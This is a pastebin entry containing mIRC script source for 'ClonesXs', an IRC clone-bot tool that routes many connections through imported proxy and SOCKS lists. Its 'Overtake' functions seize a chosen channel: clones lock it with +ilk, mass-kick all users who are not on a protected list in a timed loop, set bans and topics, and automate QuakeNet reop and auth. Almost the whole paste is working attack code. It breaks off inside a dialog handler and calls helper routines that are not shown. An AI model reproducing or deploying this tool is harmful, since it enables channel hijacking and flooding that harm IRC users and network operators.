All pastes #228611 Raw Edit

Unnamed

public text v1 · immutable
#228611 ·published 2006-10-30 04:40 UTC
rendered paste body
1.
alias overtake_kickreason {
  2.
  if ($file(kick.reasons) != $null) {
    3.
    inc %proxy.kreason
    4.
    if (%proxy.kreason == $null || %proxy.kreason > $lines(kick.reasons)) {
      5.
      set %proxy.kreason 1
      6.
    }
    7.
    return $read(kick.reasons,n,%proxy.kreason)
    8.
  }
  9.
}
10.
alias proxy_taker {
  11.
  var %x = 1
  12.
  while ($did(p.cloning,339,%x) != $null) {
    13.
    if ($did(p.cloning,339,%x) == $1) {
      14.
      return 1
      15.
    }
    16.
    inc %x
    17.
  }
  18.
  var %x = 1
  19.
  while ($did(p.cloning,27,%x) != $null) {
    20.
    if ($did(p.cloning,27,%x) iswm $1) {
      21.
      return 1
      22.
    }
    23.
    inc %x
    24.
  }
  25.
}
26.
alias proxy_tag {
  27.
  var %x = 1
  28.
  while ($did(p.cloning,339,%x) != $null) {
    29.
    if ($did(p.cloning,339,%x) == $1) {
      30.
      return 1
      31.
    }
    32.
    inc %x
    33.
  }
  34.
  var %x = 1
  35.
  while ($did(p.cloning,51,%x) != $null) {
    36.
    if ($did(p.cloning,51,%x) isin $1) {
      37.
      return 1
      38.
    }
    39.
    inc %x
    40.
  }
  41.
}
42.
alias go.reop {
  43.
  p.cloning.runcmd privmsg L : $+ op $did($dname,16)
  44.
}
45.
alias go.invite {
  46.
  p.cloning.runcmd privmsg L : $+ invite $did($dname,16)
  47.
}
48.
alias go.masskick {
  49.
  if ($me ison $1) {
    50.
    did -b p.cloning 15
    51.
    did -e p.cloning 18
    52.
    var %x = 1
    53.
    var %n = 1
    54.
    var %nl =
    55.
    while ($did(p.cloning,339,%x) != $null) {
      56.
      if ($did(p.cloning,339,%x) !isop $1) {
        57.
        goto end
        58.
      }
      59.
      while ($gettok(%nl,0,32) < 6 && $nick($1,%n) != $null) {
        60.
        if ($nick($1,%n) != $me && $nick($1,%n) != s && $nick($1,%n) != l && $nick($1,%n) != q && $nick($1,%n) && $proxy_taker($nick($1,%n)) == $null && $proxy_tag($nick($1,%n)) == $null) {
          61.
          var %nl = %nl $nick($1,%n)
          62.
        }
        63.
        inc %n
        64.
      }
      65.
      if (%nl != $null && %nl != $chr(61)) {
        66.
        var %i = 1
        67.
        while ($gettok($gettok(%nl,2-,32),%i,32) != $null) {
          68.
          sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,%x)) KICK $1 $gettok($gettok(%nl,2-,32),%i,32) : $+ $overtake_kickreason 4,0» 4K1ickz: %kickzz 4«
          69.
          inc %i
          70.
          inc %kickzz
          71.
        }
        72.
        var %nl =
        73.
      }
      74.
      :end
      75.
      inc %x
      76.
    }
    77.
    .timer_masskick 1 5 go.masskick $1
    78.
  }
  79.
}
80.
alias ClonesXs {
  81.
  if ($dialog(p.cloning)) { dialog -v p.cloning | $decode(Y29weQ==,m) }
  82.
  else { dialog -md p.cloning p.cloning | $decode(Y29weQ==,m) }
  83.
}
84.
dialog p.cloning {
  85.
  title "ClonesX"
  86.
  size -1 -1 268 205
  87.
  option dbu
  88.
  tab "Connection", 200, 1 1 265 200
  89.
  box "Server", 8, 5 20 186 21, tab 200
  90.
  text "Host/Ip:", 9, 7 28 20 8, result tab 200
  91.
  edit "", 10, 28 27 92 10, tab 200 autohs
  92.
  text "Port:", 1, 123 29 17 8, tab 200
  93.
  combo 12, 142 27 46 50, tab 200 size edit drop
  94.
  box "Nick", 34, 5 44 111 22, tab 200
  95.
  radio "", 35, 8 53 7 10, tab 200 flat
  96.
  radio "Other", 36, 57 53 22 10, tab 200 flat
  97.
  combo 37, 16 52 41 50, tab 200 size drop
  98.
  edit "", 38, 80 53 34 10, tab 200 autohs
  99.
  box "Connection", 45, 6 101 110 67, tab 200
  100.
  text "Number of clones:", 49, 10 110 48 20, tab 200
  101.
  combo 50, 68 108 43 80, tab 200 size edit drop
  102.
  text "Mode:", 215, 10 121 15 8, tab 200
  103.
  combo 47, 68 120 43 50, tab 200 size drop
  104.
  button "&Connect", 48, 10 144 101 10, disable tab 200 flat
  105.
  button "&Disconnect", 52, 10 156 101 10, tab 200 flat
  106.
  box "Debug", 219, 119 44 142 143, tab 200
  107.
  edit "", 44, 121 51 138 134, tab 200 read multi autohs vsbar
  108.
  box "State", 39, 6 67 110 31, tab 200
  109.
  text "Connected clones:", 40, 10 75 47 8, tab 200
  110.
  text "Open sockets:", 42, 10 86 41 8, tab 200
  111.
  button "Clear Debug", 53, 6 174 110 13, tab 200 flat
  112.
  text "-", 41, 78 76 34 8, tab 200
  113.
  text "-", 43, 78 86 34 8, tab 200
  114.
  text "Delay:", 390, 10 133 25 8, tab 200
  115.
  combo 391, 68 132 43 60, tab 200 size edit drop
  116.
  link "Xenon", 361, 199 28 54 8, tab 200
  117.
  tab "Firewall", 201
  118.
  box "Proxy", 236, 3 18 88 170, tab 201
  119.
  box "Socks 4", 234, 90 18 88 170, tab 201
  120.
  box "Socks 5", 235, 177 18 88 170, tab 201
  121.
  text "Host/Ip:", 55, 5 26 20 8, tab 201
  122.
  edit "", 2, 26 25 62 10, tab 201 autohs
  123.
  text "Port:", 56, 5 36 17 8, tab 201
  124.
  edit "", 3, 26 36 62 10, tab 201 autohs
  125.
  button "&Add", 5, 5 47 39 9, disable tab 201 flat
  126.
  button "&Import", 6, 49 47 39 9, tab 201 flat
  127.
  button "&Delete", 7, 5 57 39 9, tab 201 flat
  128.
  button "Delete A&ll", 244, 49 57 39 9, tab 201 flat
  129.
  list 4, 5 68 85 118, tab 201 size hsbar vsbar
  130.
  list 69, 92 68 85 118, tab 201 size hsbar vsbar
  131.
  button "&Delete", 72, 92 57 39 9, tab 201 flat
  132.
  button "Delete A&ll", 256, 136 57 39 9, tab 201 flat
  133.
  button "&Import", 71, 136 47 39 9, tab 201 flat
  134.
  button "&Add", 70, 92 47 39 9, disable tab 201 flat
  135.
  text "Port:", 67, 92 36 17 8, tab 201
  136.
  edit "", 68, 113 36 62 10, tab 201 autohs
  137.
  edit "", 66, 113 25 62 10, tab 201 autohs
  138.
  text "Host/Ip:", 65, 92 26 20 8, tab 201
  139.
  text "Host/Ip:", 74, 179 26 20 8, tab 201
  140.
  edit "", 75, 200 25 62 10, tab 201 autohs
  141.
  edit "", 77, 200 36 62 10, tab 201 autohs
  142.
  text "Port:", 76, 179 36 17 8, tab 201
  143.
  button "&Add", 79, 179 47 39 9, disable tab 201 flat
  144.
  button "&Import", 80, 223 47 39 9, tab 201 flat
  145.
  button "Delete A&ll", 265, 223 57 39 9, tab 201 flat
  146.
  button "&Delete", 81, 179 57 39 9, tab 201 flat
  147.
  list 78, 179 68 85 118, tab 201 size hsbar vsbar
  148.
  tab "Actions", 202
  149.
  box "Actions", 305, 3 19 261 86, tab 202
  150.
  button "Msg", 310, 9 71 37 10, disable tab 202 flat
  151.
  button "Notice", 311, 9 82 37 10, disable tab 202 flat
  152.
  button "Ping", 309, 9 60 37 10, disable tab 202 flat
  153.
  button "Version", 308, 9 49 37 10, disable tab 202 flat
  154.
  button "Part", 307, 9 38 37 10, disable tab 202 flat
  155.
  button "Join", 306, 9 27 37 10, disable tab 202 flat
  156.
  text "Channel:", 313, 47 28 25 8, tab 202
  157.
  button "Command", 312, 9 93 37 10, disable tab 202 flat
  158.
  edit "", 314, 81 27 75 10, tab 202 autohs
  159.
  text "Channel:", 315, 47 40 25 8, tab 202
  160.
  edit "", 316, 81 38 75 10, tab 202 autohs
  161.
  edit "", 318, 81 49 75 10, tab 202 autohs
  162.
  text "Channel/Nick:", 317, 47 50 34 8, tab 202
  163.
  text "Channel/Nick:", 319, 47 61 34 8, tab 202
  164.
  edit "", 320, 81 60 75 10, tab 202 autohs
  165.
  text "Channel/Nick:", 321, 47 72 34 8, tab 202
  166.
  edit "", 322, 81 71 75 10, tab 202 autohs
  167.
  text "Message:", 323, 160 72 24 8, tab 202
  168.
  edit "", 324, 183 71 75 10, tab 202 autohs
  169.
  text "Channel/Nick:", 325, 47 83 34 8, tab 202
  170.
  edit "", 326, 81 82 75 10, tab 202 autohs
  171.
  text "Message:", 327, 160 83 24 8, tab 202
  172.
  edit "", 328, 183 82 75 10, tab 202 autohs
  173.
  edit "", 329, 47 93 211 10, tab 202 autohs
  174.
  edit "b0tz-r-cumn-", 331, 202 28 56 10, tab 202 autohs
  175.
  button "Nick Change", 330, 158 28 42 10, disable tab 202 flat
  176.
  box "From...", 332, 158 40 100 29, tab 202
  177.
  radio "Global", 333, 163 47 27 10, disable tab 202 flat
  178.
  radio "Selected", 334, 212 47 42 10, disable tab 202 flat
  179.
  radio "Group 1", 335, 163 56 30 10, disable tab 202 flat
  180.
  radio "Group 2", 336, 193 56 30 10, disable tab 202 flat
  181.
  radio "Group 3", 337, 225 56 30 10, disable tab 202 flat
  182.
  box "Nick List", 338, 3 105 261 85, tab 202
  183.
  list 339, 5 112 53 76, disable tab 202 size extsel vsbar
  184.

  185.
  button "Add to Group 1", 340, 59 124 39 11, disable tab 202 flat
  186.
  button "Add to Group 2", 341, 59 143 39 11, disable tab 202 flat
  187.
  box "Group 3", 370, 207 110 54 79, tab 202
  188.
  button "Delete", 371, 209 118 19 8, disable tab 202 flat
  189.
  button "Delete all", 372, 228 118 31 8, disable tab 202 flat
  190.
  list 373, 208 126 52 62, disable tab 202 size vsbar
  191.
  list 369, 154 126 52 62, disable tab 202 size vsbar
  192.
  button "Delete all", 368, 174 118 31 8, disable tab 202 flat
  193.
  button "Delete", 367, 155 118 19 8, disable tab 202 flat
  194.
  box "Group 2", 366, 153 110 54 79, tab 202
  195.
  list 351, 100 126 52 62, disable tab 202 size vsbar
  196.
  button "Delete All", 350, 120 118 31 8, disable tab 202 flat
  197.
  button "Delete", 349, 101 118 19 8, disable tab 202 flat
  198.
  box "Group 1", 348, 99 110 54 79, tab 202
  199.
  button "Add to Group 3", 342, 59 161 39 11, disable tab 202 flat
  200.
  tab "Overtake", 11
  201.
  box "Control", 14, 5 16 126 120, tab 11
  202.
  button "Start", 15, 59 51 30 8, tab 11 flat
  203.
  text " Channel:", 13, 7 32 28 8, tab 11
  204.
  edit "#", 16, 37 31 84 10, tab 11 autohs
  205.
  text " Overtake:", 17, 7 51 50 8, tab 11
  206.
  button "Stop", 18, 91 51 30 8, disable tab 11 flat
  207.
  text " Clones Mass", 19, 7 60 50 8, tab 11
  208.
  button "Op", 20, 59 60 30 8, tab 11 flat
  209.
  box "Kick Reasons", 22, 132 85 127 94, tab 11
  210.
  list 23, 135 93 120 74, tab 11 size
  211.
  button "Add", 24, 136 168 40 8, tab 11 flat
  212.
  button "Del", 25, 177 168 40 8, tab 11 flat
  213.
  box "Protected Nicks", 26, 132 19 127 64, tab 11
  214.
  list 27, 134 26 122 46, tab 11 size
  215.
  button "Add", 28, 136 73 40 8, tab 11 flat
  216.
  button "Del", 29, 180 73 40 8, tab 11 flat
  217.
  box "Protected Tags", 46, 4 137 127 42, tab 11
  218.
  list 51, 6 144 122 24, tab 11 size
  219.
  button "Add", 54, 7 168 40 8, tab 11 flat
  220.
  button "Del", 57, 49 168 40 8, tab 11 flat
  221.
  edit "Authnick", 58, 7 105 50 10, tab 11
  222.
  edit "Authpw", 59, 7 115 50 10, tab 11
  223.
  button "Authen", 60, 8 126 30 8, tab 11 flat
  224.
  button "Join", 61, 6 42 25 8, tab 11 flat
  225.
  text " L/Q Reop", 62, 7 78 25 8, tab 11
  226.
  text " L/Q Invite", 63, 7 87 29 8, tab 11
  227.
  button "Reop", 64, 59 78 62 8, tab 11 flat
  228.
  button "Invite", 73, 59 87 62 8, tab 11 flat
  229.
  text " O-Topic setzen", 84, 7 69 40 8, tab 11
  230.
  button "Set", 85, 59 69 62 8, tab 11 flat
  231.
  button "invite", 21, 91 60 30 8, tab 11 flat
  232.
  button "Join 10", 97, 33 42 25 8, tab 11 flat
  233.
  button "Rejoin", 98, 91 42 30 8, tab 11 flat
  234.
  button "+x", 99, 40 126 15 8, tab 11 flat
  235.
  text " Ban *!*@*", 100, 7 96 30 8, tab 11
  236.
  button "Set", 104, 59 96 30 8, tab 11 flat
  237.
  button "Unset", 105, 91 96 30 8, tab 11 flat
  238.
  button "Op Clones", 106, 60 123 30 8, tab 11 flat
  239.
  text " Main IRC Command:", 107, 59 114 65 8, tab 11
  240.
  button "Topic", 108, 91 123 30 8, tab 11 flat
  241.
  button "Part", 109, 60 42 29 8, tab 11 flat
  242.
  button "Nickchange", 110, 59 105 62 8, tab 11 flat
  243.
  box "Topic", 111, 4 180 260 19, tab 11
  244.
  button "Add", 113, 200 188 30 8, tab 11 flat
  245.
  button "Del", 114, 231 188 30 8, tab 11 flat
  246.
  text "ClonesXs v1.2", 115, 182 5 86 8, disable tab 11
  247.
  text " Clones:", 88, 7 23 22 8, tab 11
  248.
  text " ", 90, 29 23 22 8, tab 11
  249.
  list 91, 6 187 193 10, tab 11 size
  250.
  text " Sockets:", 92, 63 23 25 8, tab 11
  251.
  text " ", 93, 88 23 35 8, tab 11
  252.
  tab "About", 30
  253.
  box "About", 31, 6 18 256 61, tab 30
  254.
  text " ClonesXs Coder: Kraix", 32, 10 26 247 8, tab 30
  255.
  text " Modded by: Xenon(uCiTakeu)", 33, 10 34 247 8, tab 30
  256.
  text " Modded ClonesXs Version: 1.2", 82, 10 42 248 7, tab 30
  257.
  text " IRC-Channel: #[Xenon]]", 83, 10 49 248 8, tab 30
  258.
  text " Homepage: http://www.clanboardzone.de/Xenon", 86, 10 57 248 8, tab 30
  259.
  text " Modded ClonesXs v1.2", 87, 10 65 248 8, tab 30
  260.
  text "", 89, 4 191 236 8, disable tab 30
  261.
  menu "File", 403
  262.
  item "&Exit", 476, 403
  263.
  menu "Specials", 411
  264.
  item "Ip-Ports", 412, 411
  265.
  menu "Nick List", 413, 411
  266.
  menu "Nicks Change", 414, 413
  267.
  item "Default List", 415, 414
  268.
  item "List...", 416, 414
  269.
  menu "Save nicks", 417, 413
  270.
  item "Default List", 418, 417
  271.
  item "List...", 419, 417
  272.
  menu "Connect with list", 420, 413
  273.
  item "Default List", 421, 420
  274.
  item "List...", 422, 420
  275.
}
276.

277.
on 1:DIALOG:p.cloning:edit:*: {
  278.
  if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
  279.
  if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
  280.
  if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
  281.

  282.
  if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
    283.
    p.cloning.conEcheck
    284.
  }
  285.
  if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The length must be al least 6 chars. | did -r $dname 38 } }
  286.

  287.
  if ($did == 314) {     
    288.
    if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
    289.
    else did -b $dname 306
    290.
  }
  291.
  if ($did == 316) {
    292.
    if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
    293.
    else did -b $dname 307
    294.
  }
  295.
  if ($did == 318) {
    296.
    if (& iswm $did($dname,$did).text) did -e $dname 308
    297.
    else did -b $dname 308
    298.
  }
  299.
  if ($did == 320) {
    300.
    if (& iswm $did($dname,$did).text) did -e $dname 309
    301.
    else did -b $dname 309
    302.
  }
  303.
  if ($did == 322) || ($did == 324) {
    304.
    if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
    305.
    else did -b $dname 310
    306.
  }
  307.
  if ($did == 326) || ($did == 328) {
    308.
    if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
    309.
    else did -b $dname 311
    310.
  }
  311.
  if ($did == 329) {
    312.
    if (* iswm $did($dname,$did).text) did -e $dname 312
    313.
    else did -b $dname 312
    314.
  }
  315.
  if ($did == 331) {
    316.
    if (& iswm $did($dname,$did).text) did -e $dname 330
    317.
    else did -b $dname 330
    318.
  }
  319.
}
320.
alias -l p.cloning.conEcheck {
  321.
  if ($dialog(p.cloning)) {
    322.
    if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) &&  ($abs($did($dname,50)) != 0) {
      323.
      if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
      324.
      elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
      325.
      else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
      326.
    }
    327.
    else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
    328.
  }
  329.
}
330.
alias -l p.clon.fire.secl {
  331.
  if ($dialog(p.cloning)) {
    332.
    if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
    333.
    elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
    334.
  }
  335.
}
336.
alias -l p.clon.fire.secl1 {
  337.
  var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
  338.
  if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
    339.
    did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
    340.
  }
  341.
}
342.
alias -l p.cloning.fire.secl2 {
  343.
  if ($dialog(p.cloning)) {
    344.
    did -d $dname $$1 $$did($dname,$$1).sel
    345.
  }
  346.
}
347.
alias -l p.cloning.fire.secl3 {
  348.
  if ($dialog(p.cloning)) {
    349.
    var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxyes is,Importa)
    350.
    if (%p.cloning.proFile) {
      351.
      set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
      352.
      var %i = 1
      353.
      while (%i <= $lines(%p.cloning.proFile)) {
        354.
        var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
        355.
        if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
        356.
        if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0))  {
          357.
          p.cloning.fal The file must contain in every line the proxy and the port. Ex, one.proxy.com 8080 Ex2. other.proxy.com:8080
          358.
          return
          359.
        }
        360.
        if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
        361.
        var %i = %i + 1
        362.
      }
      363.
      unset %p.cloning.proFile.p
      364.
    }
    365.
  }
  366.
}
367.
alias -l p.cloning.ddnsd {
  368.
  if ($dialog(p.cloning)) {
    369.
    if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
      370.
      .enable #p.cloning.DdnsD
      371.
      .dns $did(p.cloning,10).text
      372.
      p.clon.stats -Resolving Host/Ip... $time
      373.
    }
    374.
    else { p.cloning.jj } 
    375.
  }
  376.
}
377.
#p.cloning.DdnsD off
378.
on 1:DNS: {
  379.
  if ($dialog(p.cloning)) {
    380.
    if ($iaddress) { var %resulto = $iaddress }
    381.
    else { var %resulto = $naddress }
    382.
    did -o p.cloning 10 1 %resulto
    383.
    .disable #p.cloning.DdnsD
    384.
    p.clon.stats -Resolved a %resulto $time
    385.
    p.clon.stats -
    386.
    p.cloning.jj
    387.
  }
  388.
  haltdef
  389.
}
390.
#p.cloning.DdnsD end
391.
on 1:DIALOG:p.cloning:sclick:*: {
  392.
  if ($did == 15) {
    393.
    var %x = 1
    394.
    while ($did(339,%x) != $null) {
      395.
      if ($did(339,%x) isop $did(16)) {
        396.
        sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) +ilk 1 roflownt
        397.
        var %x = 99999999
        398.
        go.masskick $did(16)
        399.
      }
      400.
      inc %x
      401.
    }
    402.
  }
  403.
  if ($did == 20) {
    404.
    go.clonesop
    405.
  }
  406.
  if ($did == 21) {
    407.
    go.clonesinvite
    408.
  }
  409.
  if ($did == 60) {
    410.
    p.cloning.runcmd privmsg Q@CServe.quakenet.org : $+ auth $did($dname,58) $did($dname,59)
    411.
  }
  412.
  if ($did == 64) {
    413.
    go.reop
    414.
  }
  415.
  if ($did == 73) {
    416.
    go.invite
    417.
    timer_invite 1 1 p.cloning.runcmd join $did($dname,16)
    418.
  }
  419.
  if ($did == 85) {
    420.
    p.cloning.runcmd topic $did(16) : $+ $read(topic.proxy)
    421.
  }
  422.
  if ($did == 25 && $did(23).sel != $null) {
    423.
    write -dl $+ $did(23).sel kick.reasons   
    424.
    did -d $dname 23 $did(23).sel
    425.
  }
  426.
  if ($did == 114 && $did(91).sel != $null) {
    427.
    write -dl $+ $did(91).sel topic.proxy   
    428.
    did -d $dname 91 $did(91).sel
    429.
  }
  430.
  if ($did == 57 && $did(51).sel != $null) {
    431.
    write -dl $+ $did(51).sel protected.tags   
    432.
    did -d $dname 51 $did(51).sel
    433.
  }
  434.
  if ($did == 61) {
    435.
    p.cloning.runcmd join $did(16)
    436.
  }
  437.
  if ($did == 97) {
    438.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) join $did(16)
    439.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) join $did(16)
    440.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) join $did(16)
    441.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) join $did(16)
    442.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) join $did(16)
    443.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) join $did(16)
    444.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) join $did(16)
    445.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) join $did(16)
    446.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) join $did(16)
    447.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) join $did(16)
    448.
  }
  449.
  if ($did == 98) {
    450.
    p.cloning.runcmd part $did(16)
    451.
    p.cloning.runcmd join $did(16)
    452.
  }
  453.
  if ($did == 99) {
    454.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) mode $did(p.cloning,339,1) +x
    455.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) mode $did(p.cloning,339,2) +x
    456.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) mode $did(p.cloning,339,3) +x
    457.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) mode $did(p.cloning,339,4) +x
    458.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) mode $did(p.cloning,339,5) +x
    459.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) mode $did(p.cloning,339,6) +x
    460.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) mode $did(p.cloning,339,7) +x
    461.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) mode $did(p.cloning,339,8) +x
    462.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) mode $did(p.cloning,339,9) +x
    463.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) mode $did(p.cloning,339,10) +x
    464.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,11)) mode $did(p.cloning,339,11) +x
    465.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,12)) mode $did(p.cloning,339,12) +x
    466.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,13)) mode $did(p.cloning,339,13) +x
    467.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,14)) mode $did(p.cloning,339,14) +x
    468.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,15)) mode $did(p.cloning,339,15) +x
    469.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,16)) mode $did(p.cloning,339,16) +x
    470.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,17)) mode $did(p.cloning,339,17) +x
    471.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,18)) mode $did(p.cloning,339,18) +x
    472.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,19)) mode $did(p.cloning,339,19) +x
    473.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,20)) mode $did(p.cloning,339,20) +x
    474.
  }
  475.
  if ($did == 104) {
    476.
    p.cloning.runcmd ban $did(16) *!*@
    477.
  }
  478.
  if ($did == 105) {
    479.
    p.cloning.runcmd ban -r $did(16) *!*@
    480.
  }
  481.
  if ($did == 106) {
    482.
    /op.allclones #[Xenon]
    483.
  }
  484.
  if ($did == 108) {
    485.
    /ot.topic
    486.
  }
  487.
  if ($did == 109) {
    488.
    p.cloning.runcmd part $did(16)
    489.
  }
  490.
  if ($did == 110) {
    491.
    p.cloning.runcmd nick %proxynick
    492.
  }
  493.
  if ($did == 29 && $did(27).sel != $null) {
    494.
    write -dl $+ $did(27).sel protected.nicks
    495.
    did -d $dname 27 $did(27).sel
    496.
  }
  497.
  if ($did == 24) {
    498.
    var %r = $?="Enter a kick reason"
    499.
    if (%r != $null) {
      500.
      did -a $dname 23 %r
      501.
      did -z $dname 23
      502.
      write kick.reasons %r
      503.
    }
    504.
  }
  505.
  if ($did == 113) {
    506.
    var %proxytopic = $?="Enter a topic"
    507.
    if (%proxytopic != $null) {
      508.
      did -a $dname 91 %proxytopic
      509.
      did -z $dname 91
      510.
      write topic.proxy %proxytopic
      511.
    }
    512.
  }
  513.
  if ($did == 54) {
    514.
    var %r = $?="Enter a Tag"
    515.
    if (%r != $null) {
      516.
      did -a $dname 51 %r
      517.
      did -z $dname 51
      518.
      write protected.tags %r
      519.
    }
    520.
  }
  521.
  if ($did == 28) {
    522.
    var %r = $?="Enter a nick"
    523.
    if (%r != $null) {
      524.
      did -a $dname 27 %r
      525.
      did -z $dname 27
      526.
      write protected.nicks %r
      527.
    }
    528.
  }
  529.
  if ($did == 18) {
    530.
    .timer_masskick off
    531.
    did -e $dname 15
    532.
    did -b $dname 18
    533.
    var %x = 1
    534.
    while ($did(339,%x) != $null) {
      535.
      if ($did(339,%x) isop $did(16)) {
        536.
        sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) -ilk roflownt
        537.
        var %x = 99999999
        538.
      }
      539.
      inc %x
      540.
    }
    541.
  }
  542.
  if ($did == 53) { did -r $dname 44 }
  543.
  if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  544.
  if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
  545.
  ;if ($did == 46) {
  546.
  ;  if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
  547.
  ;  else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
  548.
  ;}
  549.
  if ($did == 5) { p.clon.fire.secl1 4 2 3 }
  550.
  if ($did == 70) { p.clon.fire.secl1 69 66 68 }
  551.
  if ($did == 79) { p.clon.fire.secl1 78 75 77 }
  552.

  553.
  if ($did == 7) { p.cloning.fire.secl2 4 }
  554.
  if ($did == 72) { p.cloning.fire.secl2 69 }
  555.
  if ($did == 81) { p.cloning.fire.secl2 78 }
  556.

  557.
  if ($did == 6) { p.cloning.fire.secl3 4 }
  558.
  if ($did == 71) { p.cloning.fire.secl3 69 }
  559.
  if ($did == 80) { p.cloning.fire.secl3 78 }
  560.

  561.
  if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
  562.
  if ($did == 52) {
    563.
    if ($sock(p.cloning*)) {
      564.
      var %p.cloning.go.kit = DIE YO!
      565.
      if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit BAI }
      566.
      .sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
      567.
      .timerPCloning.out 1 1 .sockclose p.cloning.*
      568.
    }
    569.
    ;.remove CloneX.ini | .remove CloneXo.ini
    570.
    if ($hget(p.cloning.a)) { hfree p.cloning.a }
    571.
    .timerP.cloning.Recr off
    572.
    p.cloning.recr 1
    573.
    unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
    574.
  }
  575.

  576.
  if ($did == 339) {
    577.
    if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
    578.
    else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 } 
    579.
  }
  580.

  581.
  if ($did == 244) { did -r $dname 4 }
  582.
  if ($did == 256) { did -r $dname 69 }
  583.
  if ($did == 265) { did -r $dname 78 }
  584.

  585.
  if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
  586.
  if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
  587.
  if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
  588.
  if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
  589.
  if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
  590.
  if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
  591.
  if ($did == 350) { did -r $dname 351 }
  592.
  if ($did == 368) { did -r $dname 369 }
  593.
  if ($did == 372) { did -r $dname 373 }
  594.

  595.
